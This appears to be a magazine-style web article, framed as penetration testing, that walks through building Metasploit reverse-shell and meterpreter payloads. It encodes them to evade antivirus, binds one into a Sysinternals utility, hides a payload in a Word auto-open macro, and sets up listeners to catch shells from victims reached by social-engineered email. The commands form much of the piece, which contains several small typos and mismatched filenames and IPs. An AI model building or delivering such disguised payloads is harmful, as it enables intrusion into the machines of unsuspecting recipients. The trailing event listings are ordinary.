Welcome!

Cloud Security Authors: Pat Romanski, Ambuj Kumar, Shelly Palmer, XebiaLabs Blog, Liz McMillan

Related Topics: Cloud Security, Microservices Expo, Machine Learning , Apache

Cloud Security: Article

Performing a Penetration Test on a Customer’s Network

How to Hide a Malicious File from Virus Scanners

When performing a penetration test on a customer’s network by simulating an attack and trying to find a way inside many forget there is an easier way. Many networks have well established security protection through firewalls, Intrusion Detections/ Protections Systems that will alert to your presents. Performing a vulnerability scan using tools such as NeXpose, Nessus, nmap, etc will alert many systems. By performing some research on the target and learn what the company does you can narrow your attack. By using some social engineering you can email your payload to an inspecting victim at the company that will allow you to establish a foothold thereby allowing you to further exploit their network. This can be accomplished by using the Metasploit binary payloads with Shikata-ga_nai encoding scheme.

Metasploit Antivirus Bypass
When making plans to email or deliver your payload make sure it can evade detection by antivirus software. If your target gets alerted that something is not quite right then your payload will be compromised and not be delivered. Most antivirus software vendors use a signature base to identify types of malicious code. The antivirus software engine that runs on the client machine has this signature loaded and will be alerted when it finds a match such as quarantine the binary or kill the running process.

To avoid antivirus you can devise different payloads to run on systems protected by antivirus software that will not match the available signatures. To create stand-alone binaries use Metasploit msfpayload option and encode it with the msfencode option. Msfpayload allows you to generate shellcode, executables, and more for use outside the framework. To see a list of options use the msfpayload –h at the command line and to see a list of available shellcode to be customized for your specific exploit use the msfpayload -l. Msfencode allows you to help avoid bad characters and evade antivirus and IDSs by encoding the original payload in a way that does not include “bad” characters. To see a list of options use the msfencode –h at the command line. To view which encoders are available run the msfencode –l command.

# msfpayload –h

Help banner “options”

 

# msfpayload –l

Shows a number of different shell code that are available.

 

# msfencode –h

Help banner “shows available options”

 

# mdsfencode –l

Available encoders

Before we encode our payload to bypass antivirus detections we need to create a stand-alone binary with msfpayload. This requires us to create a simple reverse shell that connects back to us and spawn a command shell. If our target is a windows box then we can narrow down our list of available payloads with msfpayload –l |grep windows command. This will give us a list of payloads that are specific to windows operating systems. We are going to use the windows meterpreter reverse_tcp payload, see Figure #1.

Figure #1 # msfpayload –l grep windows

Now we selected the windows/meterpreter/reverse_tcp which will connect back to the attacker, inject the meterpreter server DLL via the reflective Dll injection payload (highlight in Figure #1). By using the command-line argument “O” with the payload we selected [windows/meterpreter/reverse_tcp], we get all the available configurable options (see Figure #2).

Figure #2 using the ‘O’ command-line argument to view configurable options

We can configure the three options with this payload:

EXITFUNC

Require

Default setting: process

LHOST

Required

The listen address (you)

LPORT

Required

Default setting: 4444

 

Now we need to create the executable with the following:

# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.245.134 LPORT=4444 X /root/Desktop/evi1.exe

All that’s left is to deliver the executable to our victim, which requires some skill in itself to not be caught.

In order for us to take advantage of the victim running our executable we need to have a listener running on our attack machine. This is done with the msfcli which provides a powerful command-line interface to the framework. To view further options with the command use msfcli –h for a list. To listen for our victim running our executable use the following command within msfcli # msfcli multi/handler payload=windows/meterpreter/reverse_tcp lhost=192.168.1.134 lport=4444 E

This will open up a listener on our machine over port 4444 and once our victim runs the executable we will have a meterpreter shell on the windows box, see Figure #3.

Figure #3 msfcli multi/handler options (above) & executing the listener (below)

Now we see how metasploit can deliver us a shell on a victim windows box, let’s try and avoid anti-virus with using the msfencode options. First lets go ahead and upload our the results from our previous example to virus total and see how many anti-virus vendors hit on our exploit (see Figure #3). There are many vendors that have hit on our exploit. Now we will use msfencode to try and get past our anti-virus vendors. This is done using raw output of msfpayload and pipe that as input to msfencode using the “shikata ga nai” encoder which translated means “nothing can be done” in Japanese, then it will output as a windows binary.

# msfpayload windows/shell_reverse_tcp LHOST=192.168.1.134 LPORT=4444 R | msfencode –e x86/shikata_ga_nai –t exe > /root/Desktop/evil.exe

This is using the msfpayload of ‘windows/shell_reverse_tcp’ and giving our ip address and port that we will be listening on and encoding with shikata_ga_nai. We can upload this executable to virus total and see how many anti-virus vendors hit on this (see Figure #4).

Figure #4 27 hits by anti-virus vendors

The results are not good and we have many hits by various anti-virus vendors, so the likelihood that our victim will not be alerted by anti-virus is slim to none. Let’s try another way. Some anti-virus vendors work on signature-based technology and our payload ‘shell_reverse_tcp’ shows up right away. We will use the msfpayload ‘windows/shell/reverse_tcp’ instead of ‘windows/shell_reverse_tcp’ and try and get by some of the AV vendors. (See Figure #4)

# msfpayload windows/shell/reverse_tcp LHOST=192.168.1.134 LPORT=4444 R | msfencode –t exe –x /root/Desktop/pslist.exe –o /root/Desktop/pslist2.exe –e x86/shikata_ga_nai –c 10

 

Now this time with the msfencode we took an executable from the sysinternals site called pslist.exe and encoded 10 times with ‘shikata_ga_nai’. Now our payload is combined with the sysinternal tool pslist.exe and renamed pslist2.exe. Now when we upload this to virus total we have only improved our hits from 22 vendors recording our exploit to 21, an improvement but not much better (see Figure #5).

Figure #5 From 22 vendors showing finding it to 21 vendors

 

Symantec anti-virus was not alerted on both of our previous tries, a vendor that is used to protect the DoD environment. If we were able to get through our victims various layers of security and someone from the company happened to open our executable we need to have our listener running. Now let’s run our msfcli command to listen for our incoming connection.

# msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_tcp LHOST=192.168.1.134 LPORT=4444 E (See Figure #6)

Figure #6 msfcli listening for a connection from our victim

Once our victim opens our executable we have a shell on our linux box with admin privileges on their windows box. The result will look similar to Figure #9.

VBScript Infection
Now trying to get a target to run your executable is very hard as many email servers will strip out executables. There is another way to deliver our payload by including it in a word document. Word documents are very commonly moved around by email and opened by many people. This would be a great attack vector to take advantage of. Metasploit has some built in methods to infect Word documents with malicious Metasploit payloads like the ones created above. We just need to incorporate them into our Word document. For us to complete this task we need to create a VBScript payload.

# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.134 LPORT=4444 ENCODING=shikata_ga_nai X > evi1payload.exe

Now we need to convert this executable to a VBScript using a script found in the tools section of metasploit. Just copy our evi1payload.exe to the tools folder.

# cp /opt/framework3/msf3/evilpayload.exe /opt/framework3/msf3/tools

 

Inside the tools folder you will find a script called ‘exe2vba.rb’ and just issue the following command to convert our exe to a vbs.

# ruby exe2vba.rb evilpayload.exe evi1_payload.vbs

Now copy our evil_payload.vbs to a Windows machine that has Microsoft Word installed. Open up your evil_payload.vbs with notepad and open up a blank Microsoft Word document. In Microsoft Word go to tools, Macros, Visual Basic Editor for Microsoft Word 2003 or go to View Macros if you are using Microsoft Word 2010. Then copy the first portion of the evil_payload.vbs, from ‘Sub Auto_Open()’ to ‘End Sub’ and paste that into the Visual Basic Editor inside either Microsoft Word 2003 or 2007 (see Figure #7).

Figure #7 First portion of evi1_payload.vbs in Visual Basic Editor

Then copy the portion from ‘PAYLOAD DATA’ to the end into the body of the word document.

To verify that this word document can get past anti-virus vendor lets upload to Virus Total https://www.virustotal.com/index.html and see if it catches anything (see Figure #8).

Figure 8 Virus Total comes back with no hits.

It got completely by all anti-virus vendors. The only hard part will be getting the victim to open up the document. This can be accomplished several ways and I have written an article ‘Recon Tools’ in Admin issue #5 page 10 that goes into better detail about acquiring target information. Once you have delivered the Word document to your intended victim make sure you have the metasploit client listener up and running on your attack machine.

# msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.245.134 LPORT=4444 E

(see Figure #9)

Figure #9 msfcli listener followed by the meterpreter shell

This is what the victim will see when they open the word document (see Figure #10).

Figure #10 What the victim will see once they open the Word document

More Stories By David Dodd

David J. Dodd is currently in the United States and holds a current 'Top Secret' DoD Clearance and is available for consulting on various Information Assurance projects. A former U.S. Marine with Avionics background in Electronic Countermeasures Systems. David has given talks at the San Diego Regional Security Conference and SDISSA, is a member of InfraGard, and contributes to Secure our eCity http://securingourecity.org. He works for Xerox as Information Security Officer City of San Diego & pbnetworks Inc. http://pbnetworks.net a Service Disabled Veteran Owned Small Business (SDVOSB) located in San Diego, CA and can be contacted by emailing: dave at pbnetworks.net.

@ThingsExpo Stories
High-velocity engineering teams are applying not only continuous delivery processes, but also lessons in experimentation from established leaders like Amazon, Netflix, and Facebook. These companies have made experimentation a foundation for their release processes, allowing them to try out major feature releases and redesigns within smaller groups before making them broadly available. In his session at 21st Cloud Expo, Brian Lucas, Senior Staff Engineer at Optimizely, will discuss how by using...
In this strange new world where more and more power is drawn from business technology, companies are effectively straddling two paths on the road to innovation and transformation into digital enterprises. The first path is the heritage trail – with “legacy” technology forming the background. Here, extant technologies are transformed by core IT teams to provide more API-driven approaches. Legacy systems can restrict companies that are transitioning into digital enterprises. To truly become a lead...
SYS-CON Events announced today that CAST Software will exhibit at SYS-CON's 21st International Cloud Expo®, which will take place on Oct 31 - Nov 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA. CAST was founded more than 25 years ago to make the invisible visible. Built around the idea that even the best analytics on the market still leave blind spots for technical teams looking to deliver better software and prevent outages, CAST provides the software intelligence that matter ...
SYS-CON Events announced today that Daiya Industry will exhibit at the Japanese Pavilion at SYS-CON's 21st International Cloud Expo®, which will take place on Oct 31 – Nov 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA. Ruby Development Inc. builds new services in short period of time and provides a continuous support of those services based on Ruby on Rails. For more information, please visit https://github.com/RubyDevInc.
As businesses evolve, they need technology that is simple to help them succeed today and flexible enough to help them build for tomorrow. Chrome is fit for the workplace of the future — providing a secure, consistent user experience across a range of devices that can be used anywhere. In her session at 21st Cloud Expo, Vidya Nagarajan, a Senior Product Manager at Google, will take a look at various options as to how ChromeOS can be leveraged to interact with people on the devices, and formats th...
SYS-CON Events announced today that Yuasa System will exhibit at the Japan External Trade Organization (JETRO) Pavilion at SYS-CON's 21st International Cloud Expo®, which will take place on Oct 31 – Nov 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA. Yuasa System is introducing a multi-purpose endurance testing system for flexible displays, OLED devices, flexible substrates, flat cables, and films in smartphones, wearables, automobiles, and healthcare.
SYS-CON Events announced today that Taica will exhibit at the Japan External Trade Organization (JETRO) Pavilion at SYS-CON's 21st International Cloud Expo®, which will take place on Oct 31 – Nov 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA. Taica manufacturers Alpha-GEL brand silicone components and materials, which maintain outstanding performance over a wide temperature range -40C to +200C. For more information, visit http://www.taica.co.jp/english/.
Enterprises have taken advantage of IoT to achieve important revenue and cost advantages. What is less apparent is how incumbent enterprises operating at scale have, following success with IoT, built analytic, operations management and software development capabilities – ranging from autonomous vehicles to manageable robotics installations. They have embraced these capabilities as if they were Silicon Valley startups. As a result, many firms employ new business models that place enormous impor...
SYS-CON Events announced today that SourceForge has been named “Media Sponsor” of SYS-CON's 21st International Cloud Expo, which will take place on Oct 31 – Nov 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA. SourceForge is the largest, most trusted destination for Open Source Software development, collaboration, discovery and download on the web serving over 32 million viewers, 150 million downloads and over 460,000 active development projects each and every month.
SYS-CON Events announced today that Dasher Technologies will exhibit at SYS-CON's 21st International Cloud Expo®, which will take place on Oct 31 - Nov 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA. Dasher Technologies, Inc. ® is a premier IT solution provider that delivers expert technical resources along with trusted account executives to architect and deliver complete IT solutions and services to help our clients execute their goals, plans and objectives. Since 1999, we'v...
As popularity of the smart home is growing and continues to go mainstream, technological factors play a greater role. The IoT protocol houses the interoperability battery consumption, security, and configuration of a smart home device, and it can be difficult for companies to choose the right kind for their product. For both DIY and professionally installed smart homes, developers need to consider each of these elements for their product to be successful in the market and current smart homes.
SYS-CON Events announced today that MIRAI Inc. will exhibit at the Japan External Trade Organization (JETRO) Pavilion at SYS-CON's 21st International Cloud Expo®, which will take place on Oct 31 – Nov 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA. MIRAI Inc. are IT consultants from the public sector whose mission is to solve social issues by technology and innovation and to create a meaningful future for people.
SYS-CON Events announced today that Massive Networks, that helps your business operate seamlessly with fast, reliable, and secure internet and network solutions, has been named "Exhibitor" of SYS-CON's 21st International Cloud Expo ®, which will take place on Oct 31 - Nov 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA. As a premier telecommunications provider, Massive Networks is headquartered out of Louisville, Colorado. With years of experience under their belt, their team of...
SYS-CON Events announced today that TidalScale, a leading provider of systems and services, will exhibit at SYS-CON's 21st International Cloud Expo®, which will take place on Oct 31 - Nov 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA. TidalScale has been involved in shaping the computing landscape. They've designed, developed and deployed some of the most important and successful systems and services in the history of the computing industry - internet, Ethernet, operating s...
Widespread fragmentation is stalling the growth of the IIoT and making it difficult for partners to work together. The number of software platforms, apps, hardware and connectivity standards is creating paralysis among businesses that are afraid of being locked into a solution. EdgeX Foundry is unifying the community around a common IoT edge framework and an ecosystem of interoperable components.
Coca-Cola’s Google powered digital signage system lays the groundwork for a more valuable connection between Coke and its customers. Digital signs pair software with high-resolution displays so that a message can be changed instantly based on what the operator wants to communicate or sell. In their Day 3 Keynote at 21st Cloud Expo, Greg Chambers, Global Group Director, Digital Innovation, Coca-Cola, and Vidya Nagarajan, a Senior Product Manager at Google, will discuss how from store operations...
In a recent survey, Sumo Logic surveyed 1,500 customers who employ cloud services such as Amazon Web Services (AWS), Microsoft Azure, and Google Cloud Platform (GCP). According to the survey, a quarter of the respondents have already deployed Docker containers and nearly as many (23 percent) are employing the AWS Lambda serverless computing framework. It’s clear: serverless is here to stay. The adoption does come with some needed changes, within both application development and operations. Tha...
SYS-CON Events announced today that IBM has been named “Diamond Sponsor” of SYS-CON's 21st Cloud Expo, which will take place on October 31 through November 2nd 2017 at the Santa Clara Convention Center in Santa Clara, California.
In his Opening Keynote at 21st Cloud Expo, John Considine, General Manager of IBM Cloud Infrastructure, will lead you through the exciting evolution of the cloud. He'll look at this major disruption from the perspective of technology, business models, and what this means for enterprises of all sizes. John Considine is General Manager of Cloud Infrastructure Services at IBM. In that role he is responsible for leading IBM’s public cloud infrastructure including strategy, development, and offering ...
Infoblox delivers Actionable Network Intelligence to enterprise, government, and service provider customers around the world. They are the industry leader in DNS, DHCP, and IP address management, the category known as DDI. We empower thousands of organizations to control and secure their networks from the core-enabling them to increase efficiency and visibility, improve customer service, and meet compliance requirements.